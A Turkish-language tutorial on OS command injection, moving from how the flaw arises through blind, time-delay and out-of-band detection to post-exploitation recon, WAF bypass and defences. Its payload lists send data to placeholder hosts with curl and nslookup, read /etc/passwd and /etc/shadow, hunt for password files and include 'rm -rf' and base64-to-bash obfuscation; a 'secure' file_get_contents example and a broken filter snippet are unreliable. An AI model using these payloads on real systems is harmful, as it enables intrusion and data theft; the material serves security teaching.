OS Command Injection

Sistem komutlarının manipülasyonu ve güvenlik zafiyetleri

& echo "pwned" && whoami #

OS Command Injection Nedir?

OS Command Injection (Shell Injection olarak da bilinir), bir saldırganın web uygulaması üzerinden sunucu işletim sisteminde rastgele komutlar çalıştırabildiği kritik bir güvenlik zafiyetidir.

Zafiyet Özellikleri:
  • • Tam sistem erişimi sağlayabilir
  • • Veri sızıntısına yol açabilir
  • • Lateral movement için kullanılabilir
  • • OWASP Top 10'da kritik zafiyet
  • • Genellikle RCE (Remote Code Execution) ile sonuçlanır

Bu zafiyet, uygulama geliştiricilerinin kullanıcı girişini doğrulamadan doğrudan sistem komutlarına parametre olarak geçirmeleri sonucu ortaya çıkar.

server@victim:~$ stockreport.pl 381 29
Stock Status: Available - 15 items
server@victim:~$ stockreport.pl 381 & whoami & 29
Error - productID was not provided
www-data
29: command not found
Kritik Risk: OS Command Injection zafiyeti, saldırgana hedef sistemde tam yetki verebilir. Bu durum veri ihlali, sistem manipülasyonu ve network içerisinde yayılma riskini beraberinde getirir.

OS Command Injection Nasıl Çalışır?

Command injection saldırıları, uygulama kodunun kullanıcı girişini shell komutlarına güvensiz bir şekilde aktarması sonucu gerçekleşir. Saldırgan, özel karakterler kullanarak komut zinciri oluşturur.

Temel Saldırı Akışı:

  1. Vulnerable parametre tespit edilir
  2. Command separator karakterleri test edilir
  3. Payload enjekte edilir
  4. Komut sunucuda çalıştırılır
  5. Sonuç alınır veya blind exploitation yapılır
// Vulnerable PHP kodu örneği
$productID = $_GET['productID'];
$storeID = $_GET['storeID'];

// VULNERABLE: Direkt komut çalıştırma
$command = "stockreport.pl " . $productID . " " . $storeID;
exec($command, $output);

// Normal kullanım:
// GET /stockStatus?productID=381&storeID=29
// Çalıştırılan komut: stockreport.pl 381 29

// Saldırı:
// GET /stockStatus?productID=381&storeID=29;whoami
// Çalıştırılan komut: stockreport.pl 381 29;whoami
Neden Bu Kadar Etkili?
Shell metacharacter'ler işletim sistemi tarafından özel anlamlar taşır. Saldırgan bu karakterleri kullanarak komut akışını manipüle eder ve kendi komutlarını enjekte eder.

Command Injection Zafiyet Tipleri

1. Direct Command Injection:

Komut çıktısı doğrudan kullanıcıya döndürülen injection tipidir. En kolay tespit edilebilen türdür.

GET /vulnerable?cmd=ping -c 1 127.0.0.1
PING 127.0.0.1: 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 time=0.053 ms
GET /vulnerable?cmd=ping -c 1 127.0.0.1; whoami
PING 127.0.0.1: 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 time=0.053 ms
www-data

2. Blind Command Injection:

Komut çıktısı kullanıcıya döndürülmeyen injection tipidir. Tespit edilmesi daha zor ancak sömürülmesi mümkündür.

// Blind injection örneği
// Mail gönderme fonksiyonu
mail("-s", "Feedback", "-aFrom:" + userEmail, "admin@site.com")

// Normal kullanım:
userEmail = "user@example.com"

// Blind injection payload:
userEmail = "user@example.com & sleep 10 &"
Blind Injection Tespit Yöntemleri:
  • • Time delays: sleep, ping komutları
  • • DNS lookups: nslookup, dig komutları
  • • HTTP requests: curl, wget komutları
  • • File operations: Dosya yazma/okuma

Command Injection Tespit Yöntemleri

Command injection zafiyetlerini tespit etmek için sistematik yaklaşımlar ve test metodolojileri kullanılır.

Manuel Tespit Teknikleri:

# Basit command separator testleri
; whoami
& whoami
| whoami
&& whoami
|| whoami

# Inline execution testleri
`whoami`
$(whoami)

# Quote escape testleri
" ; whoami ; "
' ; whoami ; '

# URL encoded payloadlar
%3B%20whoami
%26%20whoami
Test Stratejisi
Her parametre için farklı separator karakterleri test edin. Bazı uygulamalar belirli karakterleri filtrelerken diğerlerini atlar. Sistematik yaklaşım kritiktir.

Automated Tespit Araçları:

Popüler Araçlar:
• Burp Suite: Manual ve automated testing
• OWASP ZAP: Free vulnerability scanner
• Commix: Specialized command injection tool
• SQLmap: OS-shell özelliği ile command execution

Blind Command Injection Exploitation

Blind command injection, komut çıktısının aplikasyon response'unda görünmediği durumlardır. Bu durumda farklı teknikler kullanılması gerekir.

Blind Injection Zorlukları:
• Komut çıktısı görünmez
• Error mesajları maskelenebilir
• Başarı/başarısızlık tespiti zor
• Data exfiltration komplekstir
Normal Request:
POST /feedback
email=user@test.com&message=Hello
Response: "Thank you for your feedback!"
Injection Attempt:
POST /feedback
email=user@test.com; whoami&message=Hello
Response: "Thank you for your feedback!"
No visible change in response!

Time Delay Teknikleri

Time delay teknikleri, blind command injection'ı tespit etmek için en yaygın kullanılan yöntemlerdir. Response süresindeki değişiklikler zafiyet varlığını gösterir.

# Linux/Unix time delay payloadları
; sleep 10
& sleep 10 &
| sleep 10
; ping -c 10 127.0.0.1

# Windows time delay payloadları
& timeout 10
& ping -n 10 127.0.0.1
& waitfor /t 10 thisisatest

# Universal ping-based delay
; ping -c 10 127.0.0.1; #
& ping -n 10 127.0.0.1 &
  1. Normal request response süresini ölç
  2. Time delay payload gönder
  3. Response süresindeki artışı gözlemle
  4. Farklı delay süreleri ile doğrula
  5. Consistent delay pattern'i confirm et
Ping Komutu Avantajları:
• Hem Linux hem Windows'ta çalışır
• Paket sayısı ile süre kontrolü
• Network connectivity gerektirmez (127.0.0.1)
• Güvenilir time delay sağlar
Time-Based Detection Script
Automated testing için delay-based detection scriptleri kullanın. 5-10 saniye delay genellikle false positive riskini minimize eder.

Output Redirection Teknikleri

Output redirection, komut çıktısının web erişilebilir bir lokasyona yazılması ve daha sonra browser ile alınması tekniğidir.

# Web root'a output yazma
; whoami > /var/www/html/output.txt
& whoami > C:\inetpub\wwwroot\output.txt

# Sistem bilgisi toplama
; uname -a > /var/www/html/system.txt
; ps aux > /var/www/html/processes.txt
; netstat -an > /var/www/html/network.txt

# Dosya içerik okuma
; cat /etc/passwd > /var/www/html/passwd.txt
; type C:\windows\system32\drivers\etc\hosts > C:\inetpub\wwwroot\hosts.txt

# Append mode kullanımı
; echo "=== SYSTEM INFO ===" >> /var/www/html/recon.txt
; uname -a >> /var/www/html/recon.txt
Step 1: Inject command
payload: ; whoami > /var/www/html/user.txt
Step 2: Access output file
GET https://victim.com/user.txt
Response: www-data
Web Root Discovery:
• Apache: /var/www/html, /var/www
• Nginx: /usr/share/nginx/html
• IIS: C:\inetpub\wwwroot
• XAMPP: C:\xampp\htdocs
File Permission Considerations
Web sunucusu user'ının yazma izni olduğu dizinleri hedefleyin. Genellikle web root, temp directories ve user home klasörleri uygun hedeflerdir.

OAST (Out-of-Band) Teknikleri

Out-of-Band Application Security Testing, hedef sistem ile kontrol ettiğiniz harici bir sistem arasında network interaction kurarak blind injection'ları tespit etme tekniğidir.

DNS-Based OAST:

# Basit DNS lookup
; nslookup burpcollaborator.net
& nslookup your-domain.com &

# Data exfiltration via DNS
; nslookup `whoami`.your-domain.com
& nslookup $(whoami).your-domain.com &

# Encoded data exfiltration
; nslookup `whoami | base64`.your-domain.com
; nslookup $(cat /etc/passwd | head -n1 | base64).your-domain.com

# Windows DNS lookup
& nslookup your-domain.com &
& nslookup %computername%.your-domain.com &

HTTP-Based OAST:

# HTTP request ile data gönderme
; curl http://your-domain.com/$(whoami)
; wget -O- http://your-domain.com/test-$(id)

# POST ile data gönderme
; curl -X POST -d "`whoami`" http://your-domain.com/data
; curl -X POST -d "$(cat /etc/passwd)" http://your-domain.com/exfil

# Windows HTTP request
& powershell -c "Invoke-WebRequest -Uri http://your-domain.com/test" &
& certutil -urlcache -split -f http://your-domain.com/test &
OAST Araçları ve Servisler:
  • • Burp Collaborator: Professional OAST platform
  • • Interact.sh: Open source OAST tool
  • • Pingb.in: Free HTTP request collector
  • • RequestBin: HTTP request inspector
  • • DNSlog.cn: DNS interaction monitor
OAST Avantajları:
• Firewall arkasındaki sistemlerde çalışır
• Data exfiltration imkanı sağlar
• Gerçek zamanlı feedback verir
• Blind injection'ları güvenilir şekilde tespit eder

Command Injection Yöntemleri ve Karakterler

Farklı shell metacharacter'ler farklı davranışlar sergiler ve injection başarısı büyük oranda doğru karakter seçimine bağlıdır.

Command Separator Karakterleri:

Karakter Platform Açıklama Örnek
; Unix/Linux Komut separator (sequential) cmd1; cmd2
& Windows/Unix Background execution cmd1 & cmd2
&& Windows/Unix AND operator (cmd1 başarılıysa cmd2) cmd1 && cmd2
| Windows/Unix Pipe operator cmd1 | cmd2
|| Windows/Unix OR operator (cmd1 başarısızsa cmd2) cmd1 || cmd2
\n Unix/Linux Newline separator cmd1%0Acmd2

Inline Execution Karakterleri:

# Backtick execution
echo `whoami`
echo "Current user: `id`"

# Dollar parentheses execution
echo $(whoami)
echo "System: $(uname -a)"

# Quote context escape
" ; whoami ; "
' ; whoami ; '
"; whoami #
'; whoami #
Context Awareness:
Injection yapılacak parametrenin hangi context'te (quoted, unquoted, command line argument vs.) kullanıldığını anlamak kritiktir. Her context farklı escape teknikleri gerektirir.
Encoding ve Obfuscation
WAF bypass için URL encoding (%3B, %26), hex encoding, unicode encoding ve string concatenation teknikleri kullanılabilir.

Faydalı Sistem Komutları

Command injection zafiyeti tespit edildikten sonra sistem keşfi ve bilgi toplama için kullanılabilecek kritik komutlar.

Temel Sistem Bilgileri:

Amaç Linux/Unix Windows
Mevcut kullanıcı whoami whoami
İşletim sistemi uname -a ver
Sistem hostname hostname hostname
Kullanıcı ID bilgisi id whoami /priv
Network yapılandırması ifconfig ipconfig /all
Network bağlantıları netstat -an netstat -an
Çalışan procesler ps aux tasklist
Disk kullanımı df -h dir C:\

İleri Düzey Keşif Komutları:

# Linux/Unix advanced reconnaissance
cat /etc/passwd          # User accounts
cat /etc/shadow          # Password hashes (if readable)
cat /etc/group           # Group information
sudo -l                 # Sudo privileges
crontab -l              # Scheduled tasks
find / -perm -4000 2>/dev/null  # SUID files
find /var/log -type f 2>/dev/null | head -20  # Log files

# Windows advanced reconnaissance
systeminfo             # Detailed system info
net users               # User accounts
net localgroup administrators  # Admin users
wmic service list brief  # Running services
schtasks /query /fo LIST  # Scheduled tasks
dir C:\Users /s /b     # User directories
Privilege Escalation Fırsatları
SUID binaries, writable system files, misconfigured services ve cron jobs privilege escalation için kritik hedeflerdir. Bu bilgileri sistematik olarak toplayın.

Data Exfiltration Komutları:

# Sensitive file discovery
find /home -name "*.txt" -o -name "*.doc*" -o -name "*.pdf" 2>/dev/null
find / -name "config*" -o -name "*password*" -o -name "*.key" 2>/dev/null
locate password | head -20

# Database connection strings
find / -name "*.config" -exec grep -l "connectionString\|password" {} \; 2>/dev/null
grep -r "password\|pwd\|pass" /var/www/ 2>/dev/null

# Windows sensitive data
dir /s *password* 2>nul
findstr /si password *.txt *.xml *.config
reg query HKLM /f password /t REG_SZ /s

Command Injection Korunma Yöntemleri

OS Command Injection zafiyetlerinden korunmanın en etkili yolu, sistem komutlarını tamamen kullanmaktan kaçınmaktır. Ancak bu mümkün değilse, güçlü güvenlik önlemleri alınmalıdır.

1. Öncelikli Savunma - Sistem Komutlarını Kullanmayın:

Platform API'lerini Tercih Edin:
• File operations için filesystem API'leri
• Network operations için socket libraries
• System info için native platform calls
• Database operations için prepared statements
// VULNERABLE: Shell command kullanımı
$filename = $_GET['file'];
exec("cat " . $filename, $output);

// SECURE: Platform API kullanımı
$filename = $_GET['file'];
$content = file_get_contents($filename);

2. Input Validation ve Sanitization:

// Whitelist validation
function validateInput($input) {
    // Only allow alphanumeric characters
    if (!preg_match('/^[a-zA-Z0-9]+$/', $input)) {
        throw new Exception('Invalid input');
    }
    return $input;
}

// Numeric validation
function validateNumeric($input) {
    if (!is_numeric($input)) {
        throw new Exception('Must be numeric');
    }
    return intval($input);
}

3. Command Parameterization:

// Güvenli parameterization örneği
function safeCommandExecution($userInput) {
    // Validate input first
    $safeInput = validateInput($userInput);
    
    // Use array format to prevent injection
    $command = ['/usr/bin/grep', '-F', $safeInput, '/var/log/app.log'];
    
    // Execute with proc_open for better control
    $process = proc_open($command, $descriptors, $pipes);
    
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        proc_close($process);
        return $output;
    }
}

4. Metacharacter Filtering:

Filtrelenmesi Gereken Karakterler:
; & | && || ` $ ( ) { } [ ] < > * ? ~ ! # \ " ' space tab newline
// Metacharacter filtering function
function filterMetachars($input) {
    $dangerous = [';', '&', '|', '`', ', '(', ')', '<', '>'];
    
    foreach ($dangerous as $char) {
        if (strpos($input, $char) !== false) {
            throw new Exception('Dangerous character detected');
        }
    }
    return $input;
}

5. Runtime Protection:

Additional Security Measures:
  • • Principle of Least Privilege: Minimum yetkilerle çalıştırma
  • • Sandboxing: chroot, containers, VMs
  • • Resource Limits: CPU, memory, execution time
  • • Command Whitelisting: Sadece izin verilen komutlar
  • • Logging: Tüm komut executions kayıt altında
Yapmayın:
• Blacklist-based filtering (bypassa açık)
• Simple escaping functions (güvenilmez)
• User input'u directly shell'e geçirme
• Root privileges ile command execution

Gerçek Dünya Örnekleri ve Case Studies

Command injection zafiyetleri tarihte birçok ciddi güvenlik ihlalinin nedeni olmuştur. Bu örnekler zafiyetin gerçek dünya etkisini göstermektedir.

Örnek 1: Web-Based Network Tool

Vulnerable Application:
Network Diagnostic Tool
Enter IP to ping: 192.168.1.1
Normal Usage:
ping -c 4 192.168.1.1
Malicious Input:
192.168.1.1; cat /etc/passwd
Executed Command:
ping -c 4 192.168.1.1; cat /etc/passwd
// Vulnerable PHP code
$ip = $_POST['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "
" . $output . "
"
; // Impact: Full system access through web interface

Örnek 2: File Upload with Processing

// Image processing application
$filename = $_FILES['upload']['name'];
$filepath = "/tmp/" . $filename;

// VULNERABLE: Direct filename usage
exec("convert " . $filepath . " -resize 100x100 /var/www/thumbs/" . $filename);

// Attack vector: Malicious filename
// filename: "image.jpg; rm -rf /var/www/*; #.jpg"
// Executed: convert /tmp/image.jpg; rm -rf /var/www/*; #.jpg -resize 100x100 /var/www/thumbs/image.jpg; rm -rf /var/www/*; #.jpg

Örnek 3: Email Notification System

Blind Injection Scenario
Email gönderen sistemlerde kullanıcı email adresi doğrudan mail komutuna parametre olarak geçirilir. Bu durum blind command injection için ideal ortam yaratır.
// Vulnerable email system
$email = $_POST['email'];
$message = $_POST['message'];

exec("echo '" . $message . "' | mail -s 'Feedback' " . $email);

// Blind injection payload in email field:
// admin@site.com & curl http://attacker.com/$(whoami) &

Impact ve Sonuçlar:

Gerçek Dünya Etkileri:
• Full System Compromise: Root/Administrator erişimi
• Data Breach: Veritabanı ve dosya erişimi
• Lateral Movement: Network içinde yayılma
• Service Disruption: DoS ve sistem sabotajı
• Compliance Violations: GDPR, PCI-DSS ihlalleri
Sektörel Etkiler:
• E-commerce: Payment data exposure
• Healthcare: Patient data breach
• Financial: Transaction manipulation
• Government: Classified information access

İleri Düzey Teknikler ve WAF Bypass

Modern web uygulamaları genellikle Web Application Firewall (WAF) ve çeşitli filtering mekanizmaları ile korunur. Bu korumalar geçmek için gelişmiş teknikler gereklidir.

Encoding Teknikleri:

# URL Encoding
%3B%20whoami           # ; whoami
%26%20whoami%20%26     # & whoami &

# Double URL Encoding
%253B%2520whoami       # ; whoami

# HTML Entity Encoding
; whoami           # ; whoami

# Hex Encoding
\x3B whoami           # ; whoami

# Unicode Encoding
\u003B whoami          # ; whoami

String Manipulation:

# Variable expansion
w${IFS}hoami           # whoami (space bypass)
w$()hoami              # whoami

# String concatenation
'wh'o'am'i            # whoami
"wh"o"am"i            # whoami

# Base64 encoding
echo d2hvYW1p | base64 -d | bash  # whoami

# Hex to ASCII
printf "\x77\x68\x6f\x61\x6d\x69" | bash  # whoami

Alternative Separators:

# Tab character as separator
cmd%09whoami           # cmd[TAB]whoami

# Newline characters
cmd%0Awhoami           # cmd[LF]whoami
cmd%0D%0Awhoami        # cmd[CRLF]whoami

# Form feed
cmd%0Cwhoami           # cmd[FF]whoami

# Null byte
cmd%00whoami           # cmd[NULL]whoami
WAF Bypass Stratejileri:
  • • Case Variation: WhoAmI, WHOAMI
  • • Command Aliases: w (whoami alias)
  • • Path Variation: /bin/whoami, /usr/bin/whoami
  • • Wildcards: /bin/wh*ami
  • • Environment Variables: $USER, $HOME

Penetration Testing Metodolojisi

Command injection testleri için sistematik yaklaşım ve metodoloji kritik önem taşır.

  1. Reconnaissance: Input noktalarını tespit et
  2. Parameter Analysis: Hangi parametrelerin sistem komutlarında kullanıldığını anla
  3. Basic Injection: Basit separator testleri yap
  4. Blind Detection: Time-based ve OAST testleri
  5. Payload Refinement: WAF bypass teknikleri
  6. Exploitation: Full command execution
  7. Post-Exploitation: Privilege escalation, persistence
  8. Documentation: Findings ve remediation
Testing Checklist
Her parametreyi sistematik olarak test edin. GET, POST, Headers, Cookies, File uploads - tüm input vektörlerini kontrol edin. Automated tools ile manual testing'i kombine edin.

Command Injection Mastery Tamamlandı!

OS Command Injection zafiyetleri hakkında kapsamlı bilgi edindiniz. Bu kritik güvenlik açıkları modern sistemlerde ciddi riskler oluşturur.

Önemli Hatırlatmalar
Developers için: Sistem komutları yerine platform API'lerini kullanın
Pentesters için: Blind injection tekniklerini ihmal etmeyin
Blue Team için: Komut execution monitoring yapın
Herkes için: Input validation kritiktir
Etik Kullanım:
Bu teknikler sadece authorized penetration testing, bug bounty programs ve eğitim amaçlı kullanılmalıdır. Yasal izin olmadan test yapmayın.

"Shell mastery achieved!"

Command injection zafiyetlerini anladınız, exploitation tekniklerini öğrendiniz ve korunma yöntemlerini keşfettiniz.